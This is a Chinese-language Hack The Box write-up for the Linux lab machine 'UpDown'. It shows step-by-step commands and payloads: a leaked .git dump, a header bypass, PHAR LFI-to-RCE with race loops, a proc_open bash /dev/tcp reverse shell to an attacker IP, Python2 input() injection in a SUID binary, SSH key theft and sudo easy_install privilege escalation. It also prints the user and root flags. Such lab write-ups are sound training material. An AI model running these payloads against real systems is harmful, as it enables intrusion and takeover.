[Hack The Box] UpDown- writeup

HTB: UpDown — PHAR LFI2RCE & SUID 連環提權


靶機 UpDown
作業系統 Linux (Ubuntu 20.04 focal)
難度 Medium
目標 IP 10.129.119.244
攻擊機 IP 10.10.15.48
vhost siteisup.htb / dev.siteisup.htb
開放埠 22 (SSH OpenSSH 8.2p1) / 80 (HTTP Apache 2.4.41, PHP 8.0.20)
攻擊鏈一句話:
公網找到 /dev 目錄,手動探出外洩的 .git 取回原始碼白箱分析 →
帶 Special-Dev: only4dev header 繞過 .htaccess,用
PHAR LFI2RCE(ZIP 改副檔名繞上傳黑名單 + phar:// 觸發)配合
競態連發搶過 unlink/cron,用 proc_open 反殼繞 disable_functions 拿
www-data →
執行 SUID binary siteisup(呼叫 Python2 input() = eval)注入拿
developer,撈 SSH key 換完整 shell →
sudo easy_install 惡意 setup.py → root。

1. 偵察 Recon

1.1 全埠掃描 + 服務版本

(root㉿kali)-[~/HTB/UpDown]# nmap -p- –min-rate 10000 -oN allports.nmap 10.129.119.244
(root㉿kali)-[~/HTB/UpDown]# nmap -p 22,80 -sCV -oN services.nmap 10.129.119.244

全埠掃描與服務版本:僅 22(SSH)、80(HTTP)
  • 只有 22 SSH 與 80 HTTP,OpenSSH 8.2p1 + Apache 2.4.41 → 典型 Ubuntu 20.04 focal。
  • SSH 版本無已知可打的洞,入口在 Web(80)。網頁標題 Is my Website up ? 暗示是「檢查網站上線」的功能型 app。
💡 heuristic:只有 22+80 的 Linux 靶機,幾乎都從 Web 打進去,SSH 等撈到憑證/金鑰再用。

2. Web / 服務列舉

2.1 首頁與 SSRF(兔子洞)

首頁是一個輸入網址、幫你檢查上線狀態的表單,footer 洩漏域名 siteisup.htb。表單會讓伺服器去抓你給的 URL = SSRF。開 nc 監聽並從表單送出指向自己的網址驗證:

(root㉿kali)-[~/HTB/UpDown]# rlwrap nc -lvnp 80
# 在表單 Website to check 欄位填入 http://10.10.15.48/test 後按 Check

首頁:檢查網站上線的表單,footer = siteisup.htb

SSRF 成立:伺服器主動回連,User-Agent = siteisup.htb
  • 伺服器確實回連(SSRF 成立),但 User-Agent 只是寫死的 siteisup.htb,無指紋價值、無 file:///內網跳板。
  • 確認能回連即收手——這是 兔子洞,不是提權路。
❌ NTLMv2 竊取不適用:目標是 Linux,沒有 NTLM 用戶端,SSRF 讓它連 \\攻擊機\share 也不會帶憑證。NTLMv2/Responder 是 Windows 專屬手法,前提不符。

2.2 目錄爆破 → /dev

(root㉿kali)-[~/HTB/UpDown]# gobuster dir -u http://10.129.119.244 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 40

目錄爆破挖到 /dev(自訂目錄=高信號);/server-status 403 為 Apache 預設噪音

2.3 子域名(vhost) 爆破 → dev.siteisup.htb

先把主域名寫進 /etc/hosts,再用 ffuf 爆 vhost。不存在的 Host 會掉回預設首頁(1131 bytes),用 -fs 1131 濾掉:

(root㉿kali)-[~/HTB/UpDown]# ffuf -u http://10.129.119.244 -H “Host: FUZZ.siteisup.htb” -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs 1131

vhost 爆破:濾掉 baseline 1131 後只剩 dev(403,被 .htaccess 擋)
# /etc/hosts
10.129.119.244 siteisup.htb dev.siteisup.htb
💡 heuristic:vhost 爆破時「跟首頁同大小的回應」=不存在(Apache 預設 fallback)。baseline 要從同一個掃描本身取得(先不加 filter 跑一次看重複值),不是跟別的工具借。ffuf -fs=wfuzz --hh=gobuster --exclude-length。

2.4 /dev 為空 → 手動探 .git(本台關鍵)

(root㉿kali)-[~/HTB/UpDown]# curl -s http://siteisup.htb/dev/

/dev 回空白頁:目錄存在但 index 為空,底下可能藏東西

通用字典(dirbuster / raft-directories)都不含 .git 條目,掃不到 ≠ 不存在。改用「找到 dev 目錄就手動點名開發者遺留物」的反射:

(root㉿kali)-[~/HTB/UpDown]# curl -s http://siteisup.htb/dev/.git/HEAD

手動 curl .git/HEAD → ref: refs/heads/main,.git 外洩確認
💡 heuristic:看到 dev/backup/old 這類目錄 → 手動點名 .git/HEAD、.env、.svn/entries、備份檔。驗「已知懷疑」用 curl 比賭字典可靠。

2.5 git-dumper 取回原始碼

(root㉿kali)-[~/HTB/UpDown]# git-dumper http://siteisup.htb/dev/.git/ source

git-dumper dump 下整包原始碼:admin.php / checker.php / index.php / .htaccess / changelog.txt
📌 若 git checkout 報 dubious ownership:執行 git config --global --add safe.directory <path> 後再 git checkout .。

2.6 白箱源碼分析

.htaccess — 只有帶指定 header 的請求放行(這就是 dev 子域名一直 403 的原因):

(root㉿kali)-[~/HTB/UpDown]# cat source/.htaccess

.htaccess:SetEnvIfNoCase Special-Dev only4dev 才放行
SetEnvIfNoCase Special-Dev “only4dev” Required-Header
Order Deny,Allow
Deny from All
Allow from env=Required-Header
  • Order Deny,Allow 全部規則跑完取最後符合:先 Deny All,再放行帶 header 者。
  • 繞過鑰匙:請求加上 Special-Dev: only4dev。

index.php — ?page= 參數直接 include,附加 .php,黑名單只擋路徑字串、不擋 wrapper:

(root㉿kali)-[~/HTB/UpDown]# cat source/index.php

index.php:include($_GET[‘page’].’.php’),黑名單 bin|usr|home|var|etc
$page=$_GET[‘page’];
if($page && !preg_match(“/bin|usr|home|var|etc/i”,$page)){
include($_GET[‘page’] . “.php”);
}else{
include(“checker.php”);
}
  • include($page.".php") → LFI,但會補 .php(純讀 /etc/passwd 行不通)。
  • 黑名單只擋 bin|usr|home|var|etc,不擋 phar://、php://filter。
  • 補 .php 對 PHAR 反而是助攻:phar://x.0xdf/rev + .php → 執行壓縮檔內 rev.php。

checker.php — 檔案上傳,副檔名黑名單 + 落點 uploads/md5(time())/,結尾 @unlink:

$ext = getExtension($file);
if(preg_match(“/php|php[0-9]|html|py|pl|phtml|zip|rar|gz|gzip|tar/i”,$ext)){ die(“Extension not allowed!”); }
$dir = “uploads/”.md5(time()).”/”;
…
@unlink($final_path); // 處理完刪檔
  • 黑名單只擋 php/html/zip/rar/... 等字串 → 任意其他副檔名(如 .0xdf)放行,而 phar:// 只看內容是不是合法壓縮檔。
  • 落點目錄 = md5(當前 unix 時間戳);uploads/ 開了 directory listing 可直接列。
  • 結尾 @unlink 會刪檔 → 需搶時間(後面用競態)。
✅ 攻擊鏈拼好:① header 繞 .htaccess 進 dev app ② 上傳 ZIP 改名 .0xdf 繞黑名單 ③ ?page=phar://uploads/<md5>/x.0xdf/x 觸發 RCE。

3. 立足 Foothold(PHAR LFI2RCE → www-data)

3.1 驗證 header 繞過

(root㉿kali)-[~/HTB/UpDown]# curl -s -H “Special-Dev: only4dev” http://dev.siteisup.htb/ | head -40

帶 Special-Dev: only4dev 後 403 變 200,進到 beta 版上傳頁

3.2 phpinfo PHAR POC(先驗能執行 + 看 disable_functions)

# info.php
<?php phpinfo(); ?>
(root㉿kali)-[~/HTB/UpDown]# zip info.0xdf info.php
(root㉿kali)-[~/HTB/UpDown]# file info.0xdf

打包成 ZIP 改名 .0xdf;file 確認是合法 Zip archive

上傳(帶 header + 模擬表單 check/file 欄位):

(root㉿kali)-[~/HTB/UpDown]# curl -s -H “Special-Dev: only4dev” -F “check=Check” -F “[email protected]” http://dev.siteisup.htb/

回應出現 PK(ZIP magic bytes 被當文字讀)=檔案已上傳且很可能沒被 unlink

列 uploads 找 md5 目錄:

(root㉿kali)-[~/HTB/UpDown]# curl -s -H “Special-Dev: only4dev” http://dev.siteisup.htb/uploads/

uploads 開了 directory listing,列出 md5(time()) 目錄名

3.3 競態連發搶過 unlink/cron

單次「上傳→觸發」會被 @unlink 與每 5 分鐘的 cron 清掉。用雙迴圈競態:一邊狂傳、一邊狂觸發,搶在刪除前 include。

# 終端機 A:狂傳
(root㉿kali)-[~/HTB/UpDown]# while true; do curl -s -H “Special-Dev: only4dev” -F “check=Check” -F “[email protected]” http://dev.siteisup.htb/ >/dev/null; done
# 終端機 B:狂觸發直到命中 phpinfo
(root㉿kali)-[~/HTB/UpDown]# while true; do DIR=$(curl -s -H “Special-Dev: only4dev” http://dev.siteisup.htb/uploads/ | grep -oE ‘[a-f0-9]{32}’ | tail -1); curl -s -m 3 -H “Special-Dev: only4dev” “http://dev.siteisup.htb/?page=phar://uploads/$DIR/info.0xdf/info” | grep -a “PHP Version” && break; done

競態命中:phpinfo 跑出來,PHP Version 8.0.20 → RCE 成立
💡 heuristic:上傳檔有 unlink/cron 自毀時 → 雙迴圈競態(一邊狂傳、一邊狂觸發)幾乎無腦必中。

3.4 確認 disable_functions → proc_open 漏網

(root㉿kali)-[~/HTB/UpDown]# while true; do DIR=$(curl -s -H “Special-Dev: only4dev” http://dev.siteisup.htb/uploads/ | grep -oE ‘[a-f0-9]{32}’ | tail -1); curl -s -H “Special-Dev: only4dev” “http://dev.siteisup.htb/?page=phar://uploads/$DIR/info.0xdf/info” | grep -aoE ‘disable_functions</td><td class=”v”>[^<]*’ && break; done

disable_functions:system/exec/shell_exec/fsockopen 全禁,但 proc_open 不在清單
  • system/exec/shell_exec/popen/passthru 全禁 → 一般 webshell 死路。
  • fsockopen/stream_socket_client 也禁 → PHP 原生 socket 反殼也死。
  • proc_open 沒禁 → 叫 bash 自己用 /dev/tcp 反連。
💡 heuristic:disable_functions 禁一堆時,逐一核對漏網之魚:proc_open、popen、pcntl_exec、mb_send_mail、FFI。只要有一個能起 process 就能反彈。

3.5 proc_open 反向 shell → www-data

# rev.php
<?php
$descspec = array(
0 => array(“pipe”, “r”),
1 => array(“pipe”, “w”),
2 => array(“pipe”, “w”)
);
$cmd = “/bin/bash -c ‘/bin/bash -i >& /dev/tcp/10.10.15.48/443 0>&1′”;
$proc = proc_open($cmd, $descspec, $pipes);
?>
(root㉿kali)-[~/HTB/UpDown]# zip rev.0xdf rev.php

proc_open 反殼 payload 打包成 rev.0xdf

開監聽,再用與 3.3 相同的雙迴圈競態(把 payload 換成 rev.0xdf、觸發尾巴改 /rev):

(root㉿kali)-[~/HTB/UpDown]# rlwrap nc -lnvp 443
# 終端機 A:狂傳 rev.0xdf
(root㉿kali)-[~/HTB/UpDown]# while true; do curl -s -H “Special-Dev: only4dev” -F “check=Check” -F “[email protected]” http://dev.siteisup.htb/ >/dev/null; done
# 終端機 B:狂觸發 /rev
(root㉿kali)-[~/HTB/UpDown]# while true; do DIR=$(curl -s -H “Special-Dev: only4dev” http://dev.siteisup.htb/uploads/ | grep -oE ‘[a-f0-9]{32}’ | tail -1); curl -s -m 3 -H “Special-Dev: only4dev” “http://dev.siteisup.htb/?page=phar://uploads/$DIR/rev.0xdf/rev”; done

nc 收到反連,取得 www-data shell

升級 TTY:

www-data@updown:/var/www/dev$ script /dev/null -c bash
# Ctrl+Z 後在 Kali 端:
(root㉿kali)-[~/HTB/UpDown]# stty raw -echo; fg
# Enter 兩下,再:
www-data@updown:/var/www/dev$ export TERM=xterm
✅ Foothold:PHAR LFI2RCE + 競態 + proc_open 反殼 → www-data。

4. 後滲透列舉

www-data@updown:/var/www/dev$ id
www-data@updown:/var/www/dev$ sudo -l
  • id = uid=33(www-data),純低權。
  • sudo -l 對 www-data 需要密碼 → 暫擱,等變 developer 再打一次。

看唯一真實使用者 developer 的家目錄——盯「群組」欄找 www-data 可讀的東西:

www-data@updown:/var/www/dev$ ls -la /home/developer

user.txt / .ssh 讀不到,但 dev/ 目錄群組是 www-data → 進得去
www-data@updown:/var/www/dev$ ls -la /home/developer/dev/

dev/ 內有 SUID binary siteisup(-rwsr-x— developer www-data)與 siteisup_test.py

先讀可讀的 Python 腳本,再 strings 看 binary 呼叫什麼:

www-data@updown:/var/www/dev$ cat /home/developer/dev/siteisup_test.py

siteisup_test.py:print 無括號=Python2,input() 在 py2 = eval(raw_input())
www-data@updown:/var/www/dev$ strings /home/developer/dev/siteisup
Welcome to ‘siteisup.htb’ application
/usr/bin/python /home/developer/dev/siteisup_test.py
… setresuid / setresgid / system …
  • binary 以絕對路徑呼叫 Python2 跑腳本(不能 PATH 劫持)→ 走 input() 注入。
  • 有 setresuid/setresgid → 執行時切成 developer(但實測 gid 仍是 www-data)。
💡 heuristic:SUID binary 先看 strings:呼叫外部指令是絕對 vs 相對路徑(相對→PATH 劫持),目標腳本有無注入點(py2 input())。

5. 提權(developer → root)

5.1 SUID + Python2 input() 注入 → developer

www-data@updown:/var/www/dev$ /home/developer/dev/siteisup
Enter URL here: 處貼入下列 payload
__import__(‘os’).system(‘/bin/bash’)

input() eval 注入 → 取得 developer shell
❌ gid 陷阱:注入出的 shell uid=1002(developer) 但 gid=33(www-data),而 user.txt 是 root:developer(群組 developer 才讀得到)→ 這個 shell 讀不到 flag。要撈 SSH key 正規登入換完整群組。

5.2 撈 SSH 私鑰換完整 shell

developer@updown:~$ cat /home/developer/.ssh/id_rsa

uid=developer 現在讀得到 .ssh/id_rsa,複製私鑰

在 Kali 存檔、設權限、SSH 登入(取得 gid=developer 的完整 shell):

# 把私鑰貼進 dev_id_rsa(含 BEGIN/END 整段)
(root㉿kali)-[~/HTB/UpDown]# chmod 600 dev_id_rsa
(root㉿kali)-[~/HTB/UpDown]# ssh -i dev_id_rsa [email protected]

SSH 以私鑰登入 developer,取得完整互動 shell
💡 heuristic:拿到 shell 先檢查三件事——uid/gid 對不對(讀不讀得到目標檔)、穩不穩、乾不乾淨。撈得到 SSH key 就換 SSH,比反彈 shell 可靠十倍。

5.3 user flag + sudo -l

developer@updown:~$ cat user.txt
developer@updown:~$ sudo -l

完整 developer 讀得到 user.txt;sudo -l 露出 easy_install NOPASSWD

User flag:

493f93e5ec0af34d6dc938f3c3cf5ebd

User developer may run the following commands on localhost:
(ALL) NOPASSWD: /usr/local/bin/easy_install

5.4 easy_install 惡意 setup.py → root

easy_install 安裝套件會執行其 setup.py;用 sudo 跑=以 root 執行 setup.py。塞一個開 shell 的 setup.py:

developer@updown:~$ mkdir /tmp/pwn && cd /tmp/pwn
# setup.py 內容: import os; os.system(“/bin/bash”)
developer@updown:/tmp/pwn$ echo ‘import os;os.system(“/bin/bash”)’ > setup.py
developer@updown:/tmp/pwn$ sudo /usr/local/bin/easy_install /tmp/pwn

sudo easy_install 執行 setup.py → root shell → root.txt
root@updown:/tmp/pwn# id
root@updown:/tmp/pwn# cat /root/root.txt

Root flag:

4e59c46a3c33c7d879e4a8cf54fed401

💡 heuristic:sudo NOPASSWD + 任何「會執行腳本/程式碼」的東西(easy_install/pip/python -c/vim :!sh/find -exec)= 提權,先查 GTFOBins。

6. 失誤與教訓

6.1 字典漏 .git,誤判「沒東西」

先用 raft-medium-directories 掃 /dev 回 0 結果,grep 字典才發現它根本沒收 .git 條目:

(root㉿kali)-[~/HTB/UpDown]# grep -E ‘^\.git’ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt

grep 字典確認:raft-medium-directories 根本沒有 .git 條目(回空)
❌ 踩雷:dirbuster 與 raft-directories 都不含 .git(點檔在 raft-files 版或 dirb/common.txt)。「掃不到」要分 (a) 目標沒有 (b) 字典沒收那個詞 → grep 字典一秒分辨,別把 (b) 誤判成 (a) 而放棄正解。

事後把高信號字典去重保序合併,確認 .git/HEAD 排在前段(開場即命中):

(root㉿kali)-[~/HTB/UpDown]# cat /usr/share/wordlists/dirb/common.txt /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt | awk ‘!seen[$0]++’ > ~/wl/web-merged.txt

awk 去重保序合併;.git/HEAD 排在第 8 行,開跑即命中
💡 heuristic:合併字典用 awk '!seen[$0]++'(去重保序),別用 sort -u(會打亂頻率順序,害常見路徑沉底)。高信號清單放前面。

6.2 PHAR 被 unlink/cron 清掉

第一次單發「上傳→列目錄→觸發」中間隔太久,觸發時 phpinfo 沒出來,連整個 md5 目錄都 404:

首次觸發失敗:只回 index 靜態開頭,無 phpinfo

md5 目錄整個 404:被 @unlink / 每 5 分鐘 cron 清掉
❌ 踩雷:把 upload 和 trigger 分開手動做,中間被 cron 清。分類為執行細節(🔄)不是手法失敗(❌)——phar LFI2RCE 路線正確,只是沒搶到時間窗。修法:三步串一行連發,或雙迴圈競態。